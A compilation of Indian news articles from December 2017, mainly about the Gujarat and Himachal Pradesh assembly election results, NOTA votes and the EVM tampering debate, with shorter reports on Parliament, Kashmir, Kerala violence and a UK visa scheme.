It had said that the court cannot interfere unless the Election Commission of India's decision to restrict the EVM- VVPAT paper trail to one booth per constituency is proved "arbitrary", "illegal" or "malafide".

OneIndia News
Gujarat Assembly election results: Is victory a moral defeat for the BJP?

India

oi-Oneindia

By Oneindia

Gandhinagar, Dec 19: How could a well-achieved victory be dubbed as a defeat? The Bharatiya Janata Party (BJP) won the Gujarat Assembly elections 2017 with a comfortable majority.

The saffron party bagged 99 seats in the 182-member state legislative assembly, seven seats more than the magic number of 92 to come to power in the state by any party or a political alliance.

The victory achieved by the BJP amid fierce competition from the Congress is a historic one as it is the sixth consecutive assembly election win for the saffron party in Gujarat.

Prime Minister Narendra Modi and his party colleagues called the Gujarat referendum a vote for "vikas" (development) and rejection of "caste politics of the Congress".

After the Assembly election results of both Gujarat and Himachal Pradesh (where again the BJP won by bagging 44 seats in the 68-member state Legislative Assembly) were declared on Monday, the PM tweeted stating that the results "indicate a strong support for the politics of good governance and development".

"The election results in Gujarat and Himachal Pradesh indicate a strong support for politics of good governance and development. I salute the hardworking BJP Karyakartas in these states for their hard work which has led to these impressive victories," Modi tweeted.

Later while addressing his party leaders and workers in the national capital, the PM said: "Gujarat has yet again embraced development politics and rejected divisive tactics of a select few".

While the BJP is giving credit to its "politics of development and good governance" for its latest win in the two states, the Opposition called the Gujarat victory a "moral defeat for the BJP".

On the contrary, the Congress which had put up a good fight against the BJP in Gujarat and managed to win 77 seats (16 seats more than the 2012 Assembly elections) has dubbed its own defeat as a "moral victory".

After the results were out on Monday, West Bengal chief minister Mamata Banerjee said it was a moral defeat for the BJP in Gujarat and the people of the state have "belled the cat for 2019".

Congratulating the people of Gujarat for their "very balanced verdict at this hour", Banerjee said it was a face-saving win for the ruling party.

"It is a temporary and face-saving win, but it shows a moral defeat for BJP. Gujarat voted against atrocities, anxiety, and injustice caused to the common people. Gujarat belled the cat for 2019," Banerjee tweeted.

The Trinamool Congress (TMC) chief had recently hailed Congress president Rahul Gandhi for "putting the BJP on the backfoot".

The Congress termed its outing in the Gujarat assembly polls under the stewardship of party president as its "moral victory".

"Congress' Party's campaign under the leadership of #CongressPresidentRahulGandhi ji has led to a moral victory for our party in #Gujarat...," AICC general secretary in- charge for Gujarat Ashok Gehlot tweeted.

It's true that the BJP's seat numbers have come down hugely in the 2017 elections in Gujarat (in the 2012 Assembly elections the BJP got 115 seats) and way behind what the party president Amit Shah dreamt about winning 150-seats in the elections, but nonetheless, the saffron party drubbed the Congress in the polls.

In whatever way politicians and political analysts would like to read the Gujarat election results, one thing is clear "Jo Jeeta Wohi Sikander (he who wins, is the king)", as Union minister Smriti Irani summed up the poll battle for the home state of PM Modi.

OneIndia News
Cong for Muslims, BJP for Hindus: Did Rahuls temple visits in Guj help to bust the myth?

Gujarat: BJP first, Congress 2nd, NOTA comes third with 5.5 lakh votes

India

oi-Vicky

By Vicky

Over 5.5 lakh voters in Gujarat exercised the None of the Above (NOTA) option in the assembly elections.

In terms of percentage, 1.8 percent voters in Gujarat pressed the NOTA button on electronic voting machines in Gujarat, as against 0.9 percent in the hill state (over 33,000 voters).

In case of Gujarat, the NOTA vote share was higher than that of any party other than the Congress and the BJP. While the BJP has secured over 49 percent votes, the Congress got nearly 41.4 percent and independents across the state together polled 4.3 percent.

In Himachal Pradesh, BJP has got 48.7 per cent votes as against the Congress' 41.8 percent, while independents got 6.3 percent. CPM also managed to score more than the NOTA with 1.5 percent of the votes.

In Gujarat Chief Minister Vijay Rupani's Rajkot West seat, the NOTA votes were more than 3,300, while the same in Vadgam (where Congress-supported independent Jignesh Mevani won) were over 4,200. In Godhra also, NOTA counted over 3,000.

The NOTA option enables a voter to officially and secretly register a vote of rejection of all contesting candidates.

In the 2014 Lok Sabha polls, when NOTA was introduced for the first time in any parliamentary election, close to 60 lakh voters (1.1 percent) opted for this option, which was more than the votes polled for more than 20 parties.

Before the introduction of EVMs, when voting was done through ballot papers, voters could put in the ballot paper without marking against any candidate thereby rejecting all candidates. Such a vote was counted as a rejection. However, this rejection option was not available to voters on the EVM and therefore the NOTA button was introduced.

OneIndia News
Gujarat election result 2017: BJP, Congress final tally

India

oi-Chennabasaveshwar

By Chennabasaveshwar

The Bharatiya Janata Party (BJP) secured a simple majority in the Gujarat elections by winning 99 seats in the 182-member Assembly. However, the tally of the saffron party dipped from 115 in 2012 as the Congress put up a good show by winning 77 seats against its previous tally of 61. According to the Election Commission tally, the BJP won 99 seats, the Congress bagged 77 and the others accounted for the remaining six.

According to data provided by Election Commission of India, the Congress polled 1, 24, 38, 937 votes with a vote share of 41.4 percent. In 2012, the party had a vote share of 40. 59 percent with 61 seats. On the other hand, BJP has polled 1, 47, 24, 427 votes with a vote share of 49. 1 percent. Though BJP improved its vote share by a margin of 0.8 percent in 2017, the gain was converted into the number of seats. In 2012, BJP's vote share was 48.30 percent with 115 seats. Overall, Congress' vote share is on the rise since 2002. BJP is improving its vote share but, the number of seats is in decline mode over the last three assembly elections.

GUJARAT Party Seats in 2002 / Vote Share Seats in 2007 / Vote Share Seats in 2012 / Vote Share Seats in 2017 / Vote Share BJP 127 / 49.85 117 / 49. 12 115 / 48.30 99 / 49.10 Congress 51 / 39. 59 59 / 39.63 61 / 40. 59 77 / 41. 40

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Prakash Raj campaigns in Bengaluru, says 'I'm fighting for the people, not against any party or lead

'It's a solid slap on my face', says Prakash Raj after electoral drubbing

Gujarat election results: Prakash Raj questions Modi on failure to win 150-plus seats

India

oi-Oneindia

By Oneindia

Bengaluru, Dec 19: Months ahead of the Assembly elections in Gujarat, Bharatiya Janata Party (BJP) president Amit Shah gave a clarion call to his party cadres to work towards winning 150-plus seats during the polls. The target set by Shah for the BJP was named as "Mission-150".

Now, as the election results are out on Monday, the BJP managed to win the polls but had to settle for 99 seats in the 182-member Gujarat Legislative Assembly. This time, the BJP's win in the state election is not as convincing as its previous ones. In the 2012 Assembly elections, the BJP won 115 seats.

While many have congratulated the BJP for winning the all-important Gujarat Assembly elections for the sixth consecutive times, others highlighted the fact that the BJP's control over Prime Minister Narendra Modi's home state has weakened.

Multi-lingual actor Prakash Raj, who has been critical of the BJP, on Monday lauded the saffron party for its win in the Gujarat polls but asked why it could not achieve its target of more than 150 seats.

Raj congratulated PM Modi for the BJP's victory but tweeted "Weren't you supposed to sweep with your VIKAAS? What happened to 150+..?."

"Dear prime minister, Congratulations for the victory... but are you really happy..#justasking," he added.

Dear prime minster, Congratulations for the victory... but are you really happy..#justasking pic.twitter.com/9cNU24it3w  Prakash Raj (@prakashraaj) December 18, 2017

He inquired whether Modi will pause for a moment to realise that "divisive politics" has not worked.

"Our country has bigger issues than Pakistan, religion, caste, supporting fringe groups that threaten... and the ego of settling personal scores. There are genuine rural issues," the actor said.

Saying that the "neglected voice" of the farmer, poor, and rural India just got louder, Raj sought to know from the PM whether he could hear that.

The actor had earlier questioned Modi's "silence" over the killing of senior journalist and activist Gauri Lankesh with whom he was closely associated.

He has also been criticising the BJP and right-wing outfits since then, inviting sharp attacks from them.

Now, we have to wait and watch whether Modi will take out time from his busy schedule to reply to the questions raised by the actor in his tweet.

OneIndia News
Gujarat elections: Why did the BJP lose in Unjha

India

oi-Vicky

By Vicky

The BJP just about managed to retain Gujarat for the 6th time. While it failed to breach the 100 mark, it took solace out of the fact that it had indeed managed to beat the anti-incumbency factor.

The seat share for the BJP drastically dropped when compared to the 2012 elections. The BJP however did not manage to the win the Unjha seat.

In Vadnagar the BJP's Shankarji Dhabi won the Kheralu seat. However in Unjha, Lalludas Patel of the BJP was defeated by Dwarkadas Patel of the Congress. The BJP has not lost in Unjha since 1995 and Lalludas has been a five time MLA from here.

The big question is why did the BJP lose this constituency. There is no doubt that the people here take pride in the fact that Modi is today Prime Minister. However they have other things to worry about.

Speaking to the analysts one gets the picture that it was the agrarian crisis which overshadowed Modi's popularity in this belt. The people are particularly upset that not much has been done on this front. Several youth have moved away from here in search of jobs in cities.

Many have shunned the cotton business in this area and have opted for other jobs. They are not happy to be doing this. On the other hand, they had seen hope in Rahul Gandhi who instantly struck a chord with the farmer community. This was also clear in the fact that the Congress put up a better show in the rural areas of Gujarat.

During one of his rallies, Rahul Gandhi had said that if his party comes to power they would start the process for loan waiver. It sounded like music to many farmers. The farmers said that the Congress all through the campaign spoke about their issues. The BJP did not do much to address these concerns, they also said.

OneIndia News
India-US discuss mechanisms on designations of terrorists, groups

India

pti-PTI

New Delhi, Dec 19: India and the US on Tuesday concluded their first dialogue on designations of terrorist groups and individuals through domestic and international mechanisms. The establishment of the 'India-US designations dialogue' mechanism reflected shared Indian and American commitments to strengthen cooperation against terrorist threats, the ministry of external affairs said at the end of the two-day meet.

Joint Secretary in-charge of Americas division in the MEA Munu Mahawar and senior officials from other ministries, including the home ministry, participated in the meet. From the US side, officials from the homeland security were present. The dialogue was held to discuss increasing bilateral cooperation on terrorism-related designations, the ministry said in a statement.

"The Indian and US delegations exchanged information on procedures for pursuing designations against terrorist groups and individuals, through domestic and international mechanisms. They also discussed best practices for effective implementation of the designations," it said.

The statement was also released by the US. The dialogue comes amidst China blocking the designation of Jaish-e-Muhammed (JeM) chief and Pathankot attack mastermind Masood Azhar as a terrorist by the UN.

In June, a joint statement issued after a meeting between Prime Minister Narendra Modi and US President Donald Trump had said the two sides were committed to strengthen cooperation against terrorist threats from groups including Al-Qaeda, ISIS, Jaish-e-Mohammad, Lashkar-e-Taiba, D-Company, and their affiliates. India had also appreciated the US designation of Hizb-ul-Mujahideen leader Syed Salahuddin as a Specially Designated Global Terrorist as evidence of the commitment of the US to end terror in all its forms. The US will host the second round of the dialogue in 2018.

PTI
Before the ceasefire on Feb 24, Pakistan resorted to over 4,000 border violations

Amidst ceasefire claims, Pakistan continues to keep J&K on the boil

664 ceasefire violations this year in Jammu and Kashmir by Pakistan: MHA

No ceasefire violation along LoC in Kashmir since February agreement

J&K: Two terrorists killed in Shopian encounter, search operation underway

India

oi-Deepika

By Deepika

Two terrorists were killed during an encounter with the security forces on Tuesday morning in Shopian district of Jammu and Kashmir.

According to the reports, the terrorists most likely belong to the Pakistan based terror group Jaish-e-Mohammed (JeM), the report said.

Speaking to news agency PTI, an Army official said,"Two militants have been killed so far and the operation is still in progress."

"Bodies of two terrorists have recovered the ut third one is still alive and is present in a house, he started firing again a few minutes back," says Inspector general of police (Kashmir) Muneer Khan.

A search operation is currently underway.

Earlier on Monday, it was reported that two-three terrorists were trapped in Batmurran village of Keller tehsil of Shopian, following which the security forces comprise of soldiers of 44 Rashtriya Rifles, Jammu and Kashmir Police Special Operations Group and 14 battalion of Central Reserve Police Force (CRPF) launched a cordon and search operation.

On December 11, terrorists opened fire on a cash van, leading to the death of two guards. The attack took place in Kralchak area of the Shopian district.

The Army had claimed that they killed over 200 insurgents across the Valley this year.

OneIndia News (with agency inputs)
Kerala: Another RSS worker attacked, condition critical

India

oi-Vikas

By Vikas

A group of unidentified persons attacked a Rashtriya Swayamsevak Sangh (RSS) worker in Kerala's Kannur region on Tuesday evening. The incident took place in Kathiroor and the condition of the attacked individual is said to be critical. He has been rushed to a nearby hospital, said reports.

Although it is not yet clear as to who carried out the attack, many RSS workers have been attacked by the CPI (M) members in the past.

On November 12, an RSS worker was hacked to death by alleged activists of the ruling Communist Party of India (Marxist) in Kerala. The victim has been identified as Anand, one of the accused in the murder of CPM worker Fazil. He was out on bail.

[Kerala: RSS worker stabbed to death in Thrissur, BJP suspects CPM role]

In October, an RSS worker was hacked allegedly by CPI(M) workers in Kerala. The incident took place at Muzhuppilangad near Thalassery in the politically volatile Kannur district of Kerala.

OneIndia News

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Story first published: Tuesday, December 19, 2017, 23:25 [IST]
Married woman asked to do household work for family not cruelty, says HC

Malegaon blasts: Bombay HC rejects Purohits challenge to prosecution under UAPA

India

oi-Vicky

By Vicky

The Bombay High Court has rejected petitions filed by Lt Col Purohit and Sameer Kulkarni challenging the sanction for prosecution granted under the UAPA in the Malegaon blasts case of 2008.

The duo challenged the sanction for prosecution granted by the Maharashtra government under the UAPA. They contended that the sanction for prosecution was given without the appointment of an appropriate authority.

The sanction was given by the state law and judiciary department in the case without having received a report from the appropriate authority, they argued.

"In this case, the sanction was given in January 2009, but the authority was appointed only in October 2010. Hence, the sanction order stands vitiated," the petitioners submitted.

The National Investigation Agency, however, objected to the petition and said that the same is not maintainable. The agency said that the same contention was raised in the trial court and orders to this effect have been reserved for December 21.

The court accepted the contention of the NIA and rejected the petitions.

OneIndia News
Mangaluru: Bride-to-be elopes; Hindu outfits cry Love Jihad, threaten to protest

India

oi-Oneindia

By Oneindia Staff Writer

Recommended Video

Love Jihad : Mangaluru girl elopes before marriage, hindu outfits threaten protest | Oneindia News

A 25-year-old woman's act of fleeing home has brought tensions to boiling point in Mangaluru. The bride-to-be is alleged to have eloped with a Muslim man on the eve of her wedding. Hindu outfits in the coastal city are now alleging Love Jihad and have threatened to stage massive protests if the police are unsuccessful in bringing the girl back home.

The woman was all set to marry her long-time boyfriend on December 11 but fled from home on December 9. The girl's family has alleged that she eloped with another man who had "brainwashed her". The girl's family, as well as pro-Hindu organisations, have termed the case Love Jihad. "She has left the house with Hyder. She has taken all the gold, her documents like Aadhaar card and passports," said the woman's uncle.

The seer of Vajradehi Mutt (Gurupura) has now given the police 4 days time to search and "rescue" the girl from what he has termed as an instance of Love Jihad. Rajasekharananda Swami even alleged that organisations like the Popular Front of India (PFI) was encouraging Muslim men to trap Hindu women but the police weren't doing enough to stop the same.

Meanwhile, the woman's mother received a letter purportedly suggesting that the woman was happy with the man she had eloped with. The letter had insisted that the family stop searching for her. It also assured that the woman and her lover would appear before a court soon. The woman's mother, however, has cast aspersions over the handwriting and has alleged that it was the written by her daughter.

OneIndia News
Newsmakers 2017: Dalveer Bhandari's re-election to ICJ

India

oi-Madhuri

Dalveer Bhandari was first elected to the International Court of Justice (ICJ) - the principal judicial organ of the UN in 2012 for the remaining term of a judge who quit prematurely. He was reelected as a judge of the ICJ making him the third Indian to secure a prominent position in a United Nations (UN) body.

The ICJ has 15 judges who serve for nine years, and five of them retire every three years.

Judge Bhandari's new full term of nine years will begin on February 6, 2018. After the election in New York, Judge Bhandari left for The Hague, Netherlands, where the court is located. Of the six principal organs of the U.N., the ICJ is the only one not located in New York.

Bhandari is the fourth Indian judge to be elected to the ICJ after B.N. Rau, Nagendra Singh and R.S. Pathak.

OneIndia News
Who will win Gujarat 2022 polls? Here's what ABP-C-Voter survey says

Newsmakers 2017: Jignesh Mewani, the face of the Dalit agitation in Gujarat

India

oi-Deepika

By Deepika

The rapidly-growing Dalit agitation in Gujarat has found a face - 35-year-old Jignesh Mewani. Mevani, won from Vadgam seat in Gujarat's Banaskantha district, defeating BJP's nominee Vijay Chakravarti by 19,696 votes in the recently held Gujarat elections.

Mewani, who has been critical of the ruling BJP in Gujarat, shot to fame after seven Dalit youths were flogged allegedly by self-styled cow vigilantes at Una last year.

Staring his career as a journalist in a vernacular magazine, Mr. Mewani joined the Jan Sangarsh Manch - a non-profit which works for social justice - in 2008.

While working with the NGO, he completed his law studies, but instead of practicing full-time law, he chose to become an RTI activist, taking up cases not just of Dalits but farmers as well.

Over the last few years, Mewani has forayed into politics, developing contacts with the Aam Aadmi Party and the Communists.

OneIndia News
Yogi Adityanath is Oneindia's Newsmaker 2017; Who else are in the top five

Newsmakers 2017: Major Nitin Leetul Gogoi

India

oi-Chennabasaveshwar

By Chennabasaveshwar

Indian Army Major Nitin Leetul Gogoi was caught in the eye of the storm for using a Kashmiri man as a 'human shield' during April 9 by-polls in Srinagar. The officer had been awarded the Chief of Army Staff's Commendation (COAS) card for "sustained efforts in CI (counterinsurgency) operations".

However, Jammu and Kashmir Human Rights Commission asked the state government to pay a compensation of Rs 10 lakh to a local youth who was tied to the bonnet of an army jeep.

OneIndia News
Bill to merge 3 MCD polls into one to be introduced in Lok Sabha today

Winter Session: Rajya Sabha passes bill to grant more autonomy to IIMs

India

oi-Deepika

By Deepika

The Rajya Sabha onp Tuesday passed a bill, extending greater autonomy to the Indian Institutes of Management (IIMs) by restricting the government's role in their functioning and granting them power to award degrees to their graduates. The Indian Institutes of Management Bill, 2017 -- which was passed in the Lok Sabha in July this year -- grants statutory powers to the IIMs in their running including the appointment of directors and faculty members. The bill gives them powers to award degrees instead of postgraduate diplomas.

A day after the BJP's win in the Gujarat and Himachal and Gujarat assembly elections, both the Houses of Parliament reconvened for the Winter Session. The Lok Sabha and Rajya Sabha were adjourned on Monday as Congress leaders protested in both the Houses.

The Repealing and Amending (Second) Bill, 2017 is being moved by Law Minister Ravi Shankar Prasad for introduction. This Bill seeks to repeal 131 Acts. Among the Acts being repealed, 30 are pre-Independence laws. This Bill also includes nine Ordinances promulgated before Independence.

Discussion begins on the Repealing and Amending (Second) Bill, 2017.

Both the houses have been adjourned till 2:00 pm after completion of Zero Hour and Question Hour.

"We are in favour of bringing petroleum products under GST. We would await consensus of the states and hope states agree to the consensus sooner or later," said Finance Minister Arun Jaitley.

Former Finance Minister P Chidambaram said in Rajya Sabha, "Now that BJP is in power in 19 states and at the Centre what prevents them from bringing petroleum products under GST?"

Congress protests over PM Modi's remarks against Manmohan Singh

On day three of the parliament, the Opposition demanded an apology from the prime minister for claiming that Manmohan Singh attended a "secret meeting" with high-level Pakistan officials at Mani Shankar Aiyar's house.

The leader of opposition in Rajya Sabha, Gulam Nabi Azad raised the issue of PM Modi targetting former prime minister Narendra Modi hinting at colluding with Pakistan. Azad demanded PM Modi come to the house and clear it.

Will certainly invite all my colleagues, including leader of the opposition and try and discuss, find a solution to the issue: Arun Jaitley,Union Minister amid Congress uproar in Rajya Sabha pic.twitter.com/7TKjrZNYEv  ANI (@ANI) December 19, 2017

Replying to the uproar created by Congress in the Upper Huse of the Parliament, Union Finance Minister Arun Jaitley said, "Will certainly invite all my colleagues, including the leader of the opposition and try and discuss, find a solution to the issue."

In the Rajya Sabha, Congress leaders opposed the Centre's plan to set up 12 special courts to try pending criminal cases against MPs and MLAs.

Congress MP Anand Sharma said, "The government should ensure allocation of adequate funds for setting up enough number of courts so that people do not remain in prison for long periods and the trial is done", according to ANI.

The leader of Opposition in Rajya Sabha Ghulam Nabi Azad said that "law should be for everybody" and "legislatures alone should not be singled out". In reply, Leader of the House Arun Jaitley said, "Everybody must get speedy trials. Do we have vested interests in delaying trials of politicians?"

Earlier in the session, the Trinamool Congress opposed the Financial Resolution and Deposit Insurance Bill and called it anti-people.

Congress raised the issue of stubble burning in Rajya Sabha. Its MP Pratap Singh Bajwa raises the issue of financial help for farmers to prevent stubble burning.

Numerous bills are to be tabled in the Parliament during the Winter Session which include, The Muslim Women (Protection of Rights on Marriage) Bill, 2017, The Constitution (123rd Amendment) Bill, 2017, The Citizenship (Amendment) Bill, 2016, The Motor Vehicles (Amendment) Bill, 2016, The Goods and Services Tax (Compensation to States) Amendment Ordinance, 2017, The Insolvency and Bankruptcy Code (Amendment) Ordinance, 2017 among others.

The winter session, which began last Friday, will have 14 sittings. The session will come to an end on January 5.

OneIndia News
'Will resign as MLA if proven wrong': Defiant Jarkiholi defends 'Hindu' remark even as Cong slams him

Samajwadi Party hits out at BJP govt over Hindu widows' problems

India

oi-PTI

Ballia, December 19: The Samajwadi Party hit out at the Narendra Modi-led BJP government, asking when the ruling party would address the problems faced by Hindu widows and claimed that it had a special concern for the Muslim women.

Speaking to reporters, SP national general secretary Ramashankar Vidyarthi also blamed the statements made by Congress leaders Mani Shankar Aiyar and Kapil Sibal for the Congress' defeat in the Gujarat Assembly elections.

"The BJP government has a special concern to address the interests of Muslim women, but it is unable to see the plight of Hindu widows," he claimed.

The condition of the Hindu widows is very bad and are kept away from various social programmes, he said.

"When will any attention be given to the Hindu widows, and when steps will be taken to provide them equal rights," he asked the prime minister.

On the election results, the SP general secretary said, "The Congress lost the (Gujarat Assembly) elections due to the statements made by Mani Shankar Aiyar and Kapil Sibal. It was because of their remarks that the BJP resorted to communal polarisation and was able to register a victory."

He also said the SP would review its performance in the Assembly elections held in Gujarat and Himachal Pradesh.

PTI
So near yet so far', What could Congress have done differently in Gujarat

India

oi-Vikas

By Vikas

The Bharatiya Janata Party (BJP) may have won the Gujarat Assembly elections 2017, but the party did not fare as well as they had in 2007 and 2012 polls. Despite losing, Congress can take solace in the fact that it won 19 more seats than it had in 2012. During the first hour of counting, it seemed like a neck-to-neck battle that could have gone either way. As the counting proceeded, the gap between the two parties kept widening and by 2 pm on Monday it was almost clear that the BJP could not lose.

The contest, if not nail-biting, was surely a riveting one. In the end, Congress fell 12 seats short of the magic number of 92 needed to form a government while the BJP could just manage seven seats more than it.

All in all, it was a closely fought contest and there is no reason for Congress to lose heart as they gave a tough fight. Let us see what the Congress could have done or avoided doing that might have helped them do better:

Rahul's 'soft Hindutva' ploy was probably overdone:

It is a known fact that Hindutva brand politics works in Gujarat. Rahul Gandhi wanted to cash on it but had to be sure that he does not divert from Congress' core ideology of secularism. What he ended up doing was that it neither appealed to ardent Hindutva followers nor did it impress the traditional secular followers of Congress. Rahul seemed caught in between and may have even irked the minorities. It appeared as if he was trying to mimic what the BJP was so good at.

Not projecting a CM face:

It would have done well for Congress to have announced the CM candidate before the elections so that the entire campaign could have been planned around it. Rahul was the face of the campaign I Gujarat when it was clear that he wouldn't be around after the elections. Projecting a local leader with Rahul campaign for him/her could have done wonders.

Clinging on to same old criticism of GST/Demonetisation:

Election campaign highlighting the woes faced by people due to demonetisation had already been tried and tested in UP and four other states that went to polls earlier this year. BJP clearly came out with flying colours in UP and that should have taught Congress a lesson that harping on it wouldn't work. Moreover, UP elections were held when the cash crunch was indeed a major issue and people were facing a lot of problems due to it. When it did not work there when the problem was much more intense, how could it have worked now when the situation is almost back to normal.

The GST is yet to be fully understood and the traders (or even people at large) have not yet made up their mind if it is good or bad. Almost all of Gujarat's cities have a large aspirational middle class who understand economic matters well. The literacy level of Gujarat is also good and they probably feel that GST is a step in the right direction. People are still waiting to see if it does something good as claimed by the government.

Modi bashing:

Rahul launching a direct attack on Modi may not have gone well with the Gujaratis. People of Gujarat are in awe that a leader from their state is the Prime Minister of the country. Modi's tenure as the Gujarat Chief Minister is seen by many as a golden period as he relentlessly worked for Gujarat's development. He brought in development, created jobs, boosted industrial growth and made Gujarat a model state for other states to follow. Instead of attacking the Gujarat model, Rahul could have focused on how to take Gujarat forward now that Modi has left for Delhi. He could have highlighted how BJP leadership has been unable to steer the state after Modi left and could have pitched the Congress as an alternative. Criticising the genuinely good work done by Modi was certainly not the path that Congress should have taken.

Aiyar's Neech comment:

Mani Shankar Aiyar's remark calling PM Modi Neech gave the BJP ammo to go all guns blazing at the Congress. The comment came at a crucial time, a day before the first phase of polling. It probably did more damage than could have ever imagined. Modi, in his rallies after Aiyar's remark, used it to totally corner the Congress and projected it as an assault on Gujarati Asmita (Gujarati pride). No amount of damage control by Congress could stop Modi from firing salvo-after-salvo at Congress. He repackaged and presented in such a manner that Congress' reputation among voters was demolished. There was no less time left after Aiyar's remark that Congress could not even clarify its stand and even attempt at an image makeover.

OneIndia News
Cong for Muslims, BJP for Hindus: Did Rahuls temple visits in Guj help to bust the myth?

The role, BJPs IT cell played in the battle for Gujarat, explained by Amit Malviya

India

oi-Vicky

By Vicky

The BJP following a hard-fought battle retained Gujarat. The party put its best foot forward to ensure that it won the state for the sixth time.

The IT Cell of the BJP played a crucial role in the campaign. Its cyber warriors led by its chief Amit Malviya wanted to ensure that no stone was left unturned.

Malviya who completed a hectic campaign spoke to OneIndia about the BJP and its performance in Gujarat.

The main role of the IT cell was to communicate the party's achievements. We exposed the lies of the Congress and ensure that misinformation about our party was shot right down.

On the party getting lesser seats when compared to 2012, Malviya said that the BJP's vote share has increased by 1.25 per cent when compared to the Congress. We still maintain a 7.6 per cent lead over the Congress in terms of vote share and that is significant. The seats have gone down, but our vote share has risen. That indicates popular support for the party.

Our vote share is higher in Saurashtra. The Congress has double the seats there. It is again an indicator that the popular support is still there, Malviya also added.

On allegations of EVM tampering, Malviya said that Hardik Patel had on December 3 said that EVM tampering is not possible. Now he is singing a different tune. This issue relating to EVMs has been challenged 33 times in court and each time it has been rejected. All the former Chief Election Commissioners including those who were working under the Congress rule too have rejected EVM tampering allegations, the BJP's IT cell chief also added.

OneIndia News
UP: 'Don't celebrate Christmas', says Hindu Jagran Manch to schools in Aligarh

India

oi-Madhuri

The Hindu Jagran Manch (HJM) sent letters on Monday to schools where the majority of students are Hindus, asking them not to celebrate Christmas and threatened, if they did so, it would be at their own risk.

In a circular, the Hindu outfit had warned schools "not to observe the traditional Christmas celebrations" and said if they do so, "it will be at their own risk".

Meanwhile, the Yogi Adityanath government has decided to maintain a studied silence on the Hindu Jagran Manch warning schools in Aligarh district not to celebrate Christmas.

The threat comes just days after Bajrang Dal activists accused a group carol-singing Christians of conversion, and torched their car of the priest outside a police station in Satna district of Madhya Pradesh.

OneIndia News
This man is on a country wide padayatra: He wants a ban on EVMs

UP Election Results 2022: SP candidate who perched atop jeep to 'guard' on EVMs with binoculars loses seat

Why the EVM bashing should stop now

India

oi-Vicky

By Vicky

The Electronic Voting Machine (EVM) was the real winner in Gujarat and Himachal Pradesh said former Chief Election Commissioner, T S Krishnamurthy.

The EVM bashing must stop now, he also said amidst charges by some parties which claimed that the machine had been tampered with to favour the BJP.

When asked over the remarks in some quarters that the EVMs are the "real winner", as results of the two Assembly elections are being declared, he said, "I agree."

"They (EVMs) have done their job well. After all, the Congress has increased its position (in Gujarat compared to the last elections). Some leaders of the BJP have been defeated. EVMs have served the purpose", Krishnamurthy told PTI.

On being asked whether EVM "bashing" should stop now, he said, "It should."

"If they (critics of EVMs) have anything to say, let them go to the court and prove it. There is no point talking about (criticising EVMs) in every election," he said.

Both the Congress and the BJP are "guilty of attacking the EVMs", Krishnamurthy said, pointing to a book written some years ago by BJP national spokesperson G V L Narasimha Rao that was critical of EVMs.

"The national parties...if they want to show their responsibility, they have to go to the courts or go to an independent body of technical experts and prove it," he said.

Infographic: States ruled by the BJP in 2017

"Both the parties should realise that there is no point talking about the machine. If you have any genuine concern, prove it to the court (that EVMs can be manipulated), or call IIT Directors and show it to them," Krishnamurthy added.

Amid a raging debate over the trustworthiness of EVMs, he had said earlier this month that they are credible, robust and reliable, and expressed his "unwavering faith" in them and their "infallibility".

Raising apprehensions that EVMs could be tampered with, Karnataka Chief Minister Siddaramaiah last week demanded that ballot papers be used during the upcoming assembly polls in the Congress-ruled state.

Apprehensions about possible EVM tampering through Bluetooth technology was raised by the opposition Congress during the assembly elections in Gujarat, which the Election Commission had termed "baseless".

OneIndia News
With 30 seats contested, why AAP failed to get any in Gujarat elections ?

India

oi-Madhuri

The Bharatiya Janata Party (BJP) emerged victorious in Gujarat Assembly Elections 2017 results for which were announced on Monday, December 18. But the Aam Aadmi Party (AAP) did not win any seats in the Gujarat Assembly elections though it contested from 30 seats, according to an election result analysis by IANS.

Meanwhile, the total votes polled for AAP candidates across constituencies was 28,418 while people used None of The Above (NOTA) 75,880 times in these seats.

Gujarat AAP spokesperson Harshil Nayak while speaking to the news agency said that the major reasons for the defeat of their candidates include party's late decision to contest the elections and absence of the AAP central leadership during the campaign.

"There was confusion over whether to contest the election or not and we decided very late to fight the election, which affected us," Nayak said.

The saffron party, which has ruled for 22 years in the state, comfortably won 99 seats but which is less than what it had won in 2012 (115). On the other hand, the Congress improved its position by winning 80 seats. But what's more interesting in this year election was that the None of The Above (NOTA) garnered 1.8 percent.

According to the real-time data released by the Election Commission of India, a total number of 5,50,607 voters chose not to vote for any of the party during the elections.

NOTA was introduced by the election commission of India on October 11, 2013, following a supreme court order on September 27.

The NOTA is an option in the Electronic Voting Machines (EVMs) and by registering a vote under NOTA, a voter can express his/ her rejection of all candidates contesting the election from any given constituency.

Ever since it was introduced, NOTA saw a steadily unexpected acceptance in India's multi-party democracy. In Chhattisgarh, it was 3.06 percent (4,01,058); in Rajasthan, it was 1.91 percent (5,89,923), in Madhya Pradesh, it was 1.9 percent (8,945), in Delhi, it was 0.63 percent (49,884). Punjab, it was 0.7 percent (65,151), and 0.87 percent Uttar Pradesh - 3,29,113.

OneIndia News (with inputs)
With nomad visa and $130K in account, you can 'work from Indonesia' for 10 years

UK govt extends pilot student visa scheme to 23 varsities

International

oi-PTI

London, December 19: The UK announced extending a pilot student visa scheme to 23 more universities under which Indian and other non-EU students will get six months time to find a job after finishing their course.

The scheme was introduced last year on a pilot basis in four British varsities -- Oxford, Bath, Cambridge and Imperial College London.

Currently, in its second year, the pilot scheme aims to streamline the process for international students looking to study a Masters degree course of 13 months or less in the UK.

It also provides greater support for students who wish to switch to a work visa and take up a graduate role by allowing them to remain in the UK for six months after they have finished their course.

Universities taking part in the scheme are given responsibility for eligibility checks, which means that students have to submit fewer documents than required in the current process alongside their visa applications.

The additional 23 universities to benefit this scheme include two in Scotland, two in Wales, one in Northern Ireland and others from across England.

Announcing this, Britain's Immigration Minister Brandon Lewis said: "I am delighted to announce the expansion of this pilot which is part of our ongoing activity to ensure that our world-leading institutions remain highly competitive".

He also said that the UK continues to be the second most popular destination for international students and the number coming to study at our universities has increased by 24 percent since 2010.

"This is a clear indication that genuine students are welcome and there is no limit on the number who can come to study in the UK," he added.

Under the scheme, all students will continue to require Home Office security and identity checks, but those applicants who do not meet the prescribed immigration rules will be refused.

Indian students account for approximately 9,600 visas granted in 2016 (or 7 percent), but in 2010 they accounted for around one in five of visas granted at 40,500.

Between April 2016 and April 2017, over 7,400 Indian students left Britain before the expiry of their student visas with only 2,209 choosing to extend their visas, according to the Office of National Statistics data.

Professor Sir Keith Burnett, President, and Vice-Chancellor of the University of Sheffield and founder of the UK-wide #WeAreInternational campaign said: International students are crucial not only to UK scholarship and teaching, but they play a huge role in the life and economy of towns and cities right across the UK.

"The extension of the Tier-4 visa pilot is therefore very welcome for all those universities and students who will benefit from it.
